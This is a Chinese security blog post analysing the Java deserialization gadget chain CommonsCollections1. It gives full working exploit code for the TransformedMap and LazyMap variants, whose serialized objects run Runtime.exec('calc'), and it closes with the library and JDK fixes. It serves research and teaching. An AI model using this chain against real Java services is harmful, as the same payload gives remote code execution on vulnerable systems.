Java反序列化-CommonsCollections1链分析

admin 2024年11月12日19:57:20评论6 views字数 12055阅读40分11秒阅读模式

什么是CC?

CC全称Commons Collections,主要封装了Java的集合相关类对象,它是Java中的一个组件

利用链是什么?

    你可以把他看做反序列化漏洞的EXP ,利用链首先要满足三个要求

    • 可控的反序列化: 如果无法控制反序列化的数据,就无法构造恶意代码,利用链第一步就无法完成

    • 组件中要有命令执行函数

    • 组件中要存在序列化操作

CC1复现环境

  • Java < 8U71

  • CommonsCollections <= 3.2.1

  • https://hg.openjdk.org/jdk8u/jdk8u/jdk/log?rev=annotationinvocationhandler

  • https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

Transformer

CC1 有两种构造方式,一个是用Transformer类,另一种利用LazyMap类,首先来看Transformer

先new一个Transformer接口跟进

new Transformer()

可以看到Transformer下有几个实现类,主要介绍几个下面用的到的Java反序列化-CommonsCollections1链分析

InvokerTransformer类分析

InvokerTransformer是利用反射动态调用对象的类

然后跟进InvokerTransformer这个文件,构造方法这里创建InvokerTransformer类需要传递三个参数,分别是方法名称,方法参数的类型,方法参数

Java反序列化-CommonsCollections1链分析

接着往下看这里的transform方法是继承的Transformer接口对他进行重写,这里的transform方法处利用反射执行命令并且方法用户可控,这也是Transformer类能够作为CC1利用链根本的原因

Java反序列化-CommonsCollections1链分析

ChainedTransformer类分析

接着跟进到ChainedTransformer类中,首先看ChainedTransformer类的构造方法中iTransformers返回的是个数组

下面的transform方法遍历数组,将上一个的输出作为下一个的输入,递归创建类

Java反序列化-CommonsCollections1链分析

ConstantTransformer类分析

首先这里可以看到ConstantTransformer类中transform方法只返回了一个IConstant常量

那么回头去看构造方法得知这个类需要传递一个Object对象然后赋值给iConstant,也就是说无论传递过来的是啥他都会返回预设的常量Java反序列化-CommonsCollections1链分析

分析利用链

transform

我们找到刚才的Invoker类

Java反序列化-CommonsCollections1链分析

Invoker这个类可以序列化那么往下看,这个地方重写了transform方法,在代码里利用反射调用用户输入进来的值,input只要不为空即可,并且该函数是public权限

Java反序列化-CommonsCollections1链分析

直接调用InvokerTransformer类执行命令

首先利用InvokerTransformer通过反射获取exec方法名和参数类型和要执行的参数信息,再利用InvokerTransformer下的transform方法执行之前调用的也就是Runtime.getRuntime类,还原出来就是Runtime.getRuntime.exec("calc")

new Class[] 就是创建一个Class类型的数组,第三个是Object类型的数组,为啥要这样写?因为InvokerTransformer的构造方法就是这么写的想要利用这个方法执行命令就得这么写,开发也是考虑到不同的方法参数不止一个并且类型并不单一,利用数组的形式可以存放多个类型

Runtime r = Runtime.getRuntime();new InvokerTransformer("exec"new Class[]{String.class},new Object[]{"calc"}).transform(r);

Java反序列化-CommonsCollections1链分析

checkSetValue

接着往下跟进查看那些地方调用了transform方法

TransformedMap下的checkSetValue调用了transformJava反序列化-CommonsCollections1链分析

TransformedMap下的checkSetValue调用了transform,由于checkSetValue权限是protected所以我们向上去找valueTransformer在哪块实现的Java反序列化-CommonsCollections1链分析

这里是被自己的构造方法调用进行了赋值但是他的权限是protected只能被自己调用,那么接着往上翻,这个方法被哪里调用了Java反序列化-CommonsCollections1链分析

这里是被decorate对TransformedMap进行的装饰,那么一会写exp的时候需要调用decorate实例化这个类,但是由于checkSetValue是protected权限,所以我们还需要找哪个地方直接调用了checkSetValueJava反序列化-CommonsCollections1链分析

setValue

在MapEntry下的setValue中调用了checkSetValue

Java反序列化-CommonsCollections1链分析

MapEntry是个键值对那么这个地方可以通过遍历实现对它的调用,在这里就需要去找有没有地方直接实现了MapEntry键值对的遍历

Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class},new Object[]{"calc"});HashMap<ObjectObject> map = new HashMap();map.put("key""value");Map<ObjectObject> transformed = TransformedMap.decorate(map,null,invokerTransformer);for (Map.Entry entry: transformed.entrySet()){ entry.setValue(r);}// 此时的链子是 setValue(r)-> checkSetValue(value=r) valueTransform = invokerTransformer -> invokerTransformer.transform(r)

AnnotationInvocationHandler

接着向上查找,哪个地方调用了setvalue,恰巧AnnotationInvocationHandler类重写了readObject方法并且还进行了MapEntry遍历调用了setValue方法

Java反序列化-CommonsCollections1链分析

先来看下构造函数,构造函数传递了一个注解和Map,但是这个类只能在包内调用,想要利用的话需要通过反射调用Java反序列化-CommonsCollections1链分析

Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class},new Object[]{"calc"});HashMap<ObjectObject> map = new HashMap();map.put("key""value");Map<ObjectObject> transformed = TransformedMap.decorate(map,null,invokerTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotation = c.getConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o = annotation.newInstance(Override.class,transformed);

返回到readObject方法中,memberTypes实际上是传递进来的是注解Override.class,然后循环map获取注解的成员变量,但我们这里Override是空的,我们需要将他替换成一个有成员变量的注解比如Resources

Java反序列化-CommonsCollections1链分析

Java反序列化-CommonsCollections1链分析

那么上面也说了他会获取这个注解的成员变量,那么我们还需要将map.put修改一下,将key改为Resources对应的成员变量,这里if只判断了注解的成员变量存不存在所以value值可以随便写,但是这里还有两个问题

Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class},new Object[]{"calc"});HashMap<ObjectObject> map = new HashMap();map.put("value""123daa");Map<ObjectObject> transformed = TransformedMap.decorate(map,null,invokerTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotation = c.getConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o = annotation.newInstance(Override.class,transformed);

问题一

Runtime本身没有继承Serializable接口,这里可以反射调用Runtime.class解决

Java反序列化-CommonsCollections1链分析

正常的反射代码

Class c = Class.forName("java.lang.Runtime");Method runtimeMethod = c.getMethod("getRuntime",null);Runtime r = (Runtime) runtimeMethod.invoke(null);Method execMethod = c.getMethod("exec"String.class);execMethod.invoke(r,"calc");

Java反序列化-CommonsCollections1链分析

结合最开始分析的ChainedTransformer类,可以简化代码把代码换成Transform版本的反射调用

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod"new Class[]{String.class,Class[].class},new Object[]{"getRuntime"null}), new InvokerTransformer("invoke"new Class[]{Object.class,Object[].class},new Object[]{nullnull}), new InvokerTransformer("exec"new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);

Java反序列化-CommonsCollections1链分析

问题二

在执行到checkSetValue的时候返回对象并不是InvokerTransform,而是AnnotationTypeMismatchExceptionProxy,满足if条件后走到setValue他会创建一个AnnotationTypeMismatchExceptionProxy的异常对象,其实这里都不要紧

前面我们把memberValue改成了我们MapEntry.setValue了再到checkSetValue这里其实可以通过我们最开始分析的ConstantTransformer类它不管传进去的是什么都会返回原本类型的常量,通过他我们可以修改掉checkSetValue这里原本的代理异常类替换成我们的Runtime

最终Exp

package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import sun.security.krb5.internal.crypto.crc32;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.Collections;import java.util.HashMap;import java.util.Map;public class exp { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod"new Class[]{String.class,Class[].class},new Object[]{"getRuntime"null}), new InvokerTransformer("invoke"new Class[]{Object.class,Object[].class},new Object[]{nullnull}), new InvokerTransformer("exec"new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// chainedTransformer.transform(Runtime.class); HashMap<ObjectObject> map = new HashMap<>(); map.put("value""value"); Map<ObjectObject> transformed = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //getDeclaredConstructor能访问私有构造器 Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class); annotation.setAccessible(true); Object o = annotation.newInstance(Resources.class,transformed); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj); } public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}

LazyMap

这是最早国外发现的版本,但相同的是都是由于调用了transform方法导致的,但他们调用的类不同

利用链分析

LazyMap分析

关键点方法是factory.transform,这个if判断获取key参数如果为空的话就会执行transform,所以再构造exp的时候要保证key为空才能触发,既然这里存在构造利用链的可能那就往上翻看看这个类怎么实现Java反序列化-CommonsCollections1链分析

这里看到LazyMap的构造类是protected权限,传递了两个参数分别为Map,Factary,既然不能直接创建LazyMap那就接着翻

Java反序列化-CommonsCollections1链分析

这里有个装饰器decorate并且他还是public,那么我们就可以利用decorate去调用LazyMap

Java反序列化-CommonsCollections1链分析

不完整的exp,decorate中的 factory参数此时就是 ChainedTransformer 再利用get获取一个不存在的key后触发了 factory.transform等价于 ChainedTransformer.transform,因此导致命令执行

// 上面不变Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod"new Class[]{String.class,Class[].class},new Object[]{"getRuntime"null}), new InvokerTransformer("invoke"new Class[]{Object.class,Object[].class},new Object[]{nullnull}), new InvokerTransformer("exec"new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),chainedTransformer);//利用get获取一个不存在的key,触发factory.transformlazyMap.get("key");

Java反序列化-CommonsCollections1链分析

AnnotationInvocationHandler类分析

接着查找哪里调用了get,由于这个方法调用的实在是太多(有几千个),所以直接参考文章定位到目标文件,没错还是在AnnotationInvocationHandler下边调用的,只不过这次是Invoke

Java反序列化-CommonsCollections1链分析

往上翻去看Invoke所属类的定义,这里继承了InvocationHandler接口,必须要重写invoke方法,在调用代理处理器的代理对象中方法之前会自动执行invoke方法

class AnnotationInvocationHandler implements InvocationHandlerSerializable

再返回到invoke里,有两个if判断第一个是判断是否使用equals第二个是判断参数数量,所以在这里我们需要满足两个条件,第一就是不适用equals,第二是无参方法,才能够触发下面的memberValues.get(member)

Java反序列化-CommonsCollections1链分析

接下来我们需要去找被代理对象LazyMap可执行方法并且是不能存在参数的,接着完善exp

Transformer[] transformers = new Transformer[]{ //返回Runtime.class new ConstantTransformer(Runtime.class), //通过反射调用getRuntime()方法获取Runtime对象 new InvokerTransformer("getMethod"new Class[]{String.class, Class[].class}, new Object[]{"getRuntime"null}), //通过反射调用invoke()方法 new InvokerTransformer("invoke"new Class[]{Object.class, Object[].class}, new Object[]{nullnull}), //通过反射调用exec()方法启动计算器 new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<ObjectObject> hash = new HashMap<>();//使用chainedTransformer装饰HashMap生成新的MapMap decorate = LazyMap.decorate(hash, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor declaredConstructor = c.getDeclaredConstructor(Class.class,Map.class);declaredConstructor.setAccessible(true);InvocationHandler ih = (InvocationHandler) declaredConstructor.newInstance(Override.class,decorate);Map myproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),ih);myproxy.entrySet();

最终exp

刚好AnnotationInvocationHandler类的readObject方法可以看到他这里正好就调用了entrySet,因此我们只需要把被代理对象myproxy赋值给memberValues即可,可以先创建代理对象然后再将被代理对象传递给AnnotationInvocationHandler构造方法中

public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{ //返回Runtime.class new ConstantTransformer(Runtime.class), //通过反射调用getRuntime()方法获取Runtime对象 new InvokerTransformer("getMethod"new Class[]{String.class, Class[].class}, new Object[]{"getRuntime"null}), //通过反射调用invoke()方法 new InvokerTransformer("invoke"new Class[]{Object.class, Object[].class}, new Object[]{nullnull}), //通过反射调用exec()方法启动计算器 new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<ObjectObject> hash = new HashMap<>();//使用chainedTransformer装饰HashMap生成新的MapMap decorate = LazyMap.decorate(hash, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor declaredConstructor = c.getDeclaredConstructor(Class.class,Map.class);declaredConstructor.setAccessible(true);InvocationHandler ih = (InvocationHandler) declaredConstructor.newInstance(Override.class,decorate);Map myproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),ih);Object o = declaredConstructor.newInstance(Override.class,myproxy);serialize(o);unserialize("ser.bin");

执行流程

readObject-> memberValues.entrySet() -> 调用 Proxy.newProxyInstance() -> 触发 invoke -> LazyMap.get() -> InvokerTransformer.transform()

修复方式

1. CC库版本提高

checkUnsafeSerialization

cc库 > 3.2.1版本后,限制了InvokerTransformer的序列化操作,导致无法使用

打开pox.xml把cc版本改成3.2.2,并下载库的源代码方便我们去追踪查找Java反序列化-CommonsCollections1链分析

同样我们利用之前cc1的exp运行试一下,同样的代码但是运行时抛出了异常,具体就是在org.apache.commons.collections.functors.InvokerTransformer类下无法进行序列化操作....

Java反序列化-CommonsCollections1链分析

那么我们在exp序列化的地方打断点调试看一下到底是为什么?

Java反序列化-CommonsCollections1链分析

步入跟进代码后发现InvokerTransformer类多了几行对序列化检查的代码

Java反序列化-CommonsCollections1链分析

继续跟进,看到有个if判断,大体意思就是判断这个类允不允许序列化操作,这个地方有一个UNSAFE_SERIALIZABLE_PROPERTY常量具体是什么目前不清楚,往上翻代码看下属性

Java反序列化-CommonsCollections1链分析

这里的常量值是org.apache.commons.collections.enableUnsafeSerialization,这个是系统属性,他是来控制InvokerTransformer等一些类序列化操作的,当他的值为true则允许该类进行序列化操作

Java反序列化-CommonsCollections1链分析

那么既然我们已经搞清楚这一点了,那就返回到checkUnsafeSerialization里继续调试,这里直接给unsafeSerializableProperty赋了个空值,进入下面的if判断,unsafeSerializableProperty中并不存在true所以抛出异常,也就是说在高于3.2.1版本,针对InvokerTransformer进行了限制,不允许你序列化操作,所以不能再用之前的链来rce了

Java反序列化-CommonsCollections1链分析

2. JDK版本提高

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/f8a528d0379d

setValue

直接进到AnnotationInvocationHandler里看到这里直接没有不用setValue了,而且这里是创建了一个新的LinkedHashMap对象对value进行的操作Java反序列化-CommonsCollections1链分析

LazyMap

LazyMap链中readObject方法更改了memberValues的获取方式,更新后版本是利用fields方法获取并赋值给streamVlas变量,并不像之前一样是直接调用的memberValues,所以这里的streamVlas不可控Java反序列化-CommonsCollections1链分析

原文始发于微信公众号(朱厌安全):Java反序列化-CommonsCollections1链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日19:57:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化-CommonsCollections1链分析https://cn-sec.com/archives/3390266.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息